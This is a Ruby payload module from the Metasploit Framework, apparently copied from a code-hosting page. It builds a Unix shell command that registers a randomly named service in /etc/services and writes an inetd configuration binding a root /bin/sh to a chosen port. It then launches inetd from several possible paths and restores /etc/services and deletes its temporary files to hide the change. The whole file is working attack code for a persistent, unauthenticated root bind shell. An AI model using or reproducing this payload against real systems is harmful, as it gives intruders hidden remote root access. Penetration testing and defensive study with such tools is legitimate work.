85 lines
2.4 KiB
Ruby
85 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 487
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Bind TCP (inetd)',
|
|
'Description' => 'Listen for a connection and spawn a command shell (persistent)',
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'Privileged' => true,
|
|
'RequiredCmd' => 'inetd',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('InetdPath', [true, 'The path to the inetd executable', 'inetd']),
|
|
OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
|
|
]
|
|
)
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate(_opts = {})
|
|
vprint_good(command_string)
|
|
return super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
svc = Rex::Text.rand_text_alpha_lower(9)
|
|
|
|
cmd =
|
|
# Create a clean copy of the services file
|
|
"cp /etc/services #{tmp_services};" +
|
|
|
|
# Add our service to the system one
|
|
"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +
|
|
|
|
# Create our inetd configuration file with our service
|
|
"echo #{svc} stream tcp nowait root #{datastore['ShellPath']} sh>#{tmp_inet};" +
|
|
|
|
# First we try executing inetd without the full path
|
|
"#{datastore['InetdPath']} -s #{tmp_inet} ||" +
|
|
|
|
# Next try the standard inetd path on Linux, Solaris, BSD
|
|
"/usr/sbin/inetd -s #{tmp_inet} ||" +
|
|
|
|
# Next try the Irix inetd path
|
|
"/usr/etc/inetd -s #{tmp_inet};" +
|
|
|
|
# Overwrite services with the "clean" version
|
|
"cp #{tmp_services} /etc/services;" +
|
|
|
|
# Delete our configuration file
|
|
"rm #{tmp_inet} #{tmp_services};";
|
|
|
|
return cmd
|
|
end
|
|
end
|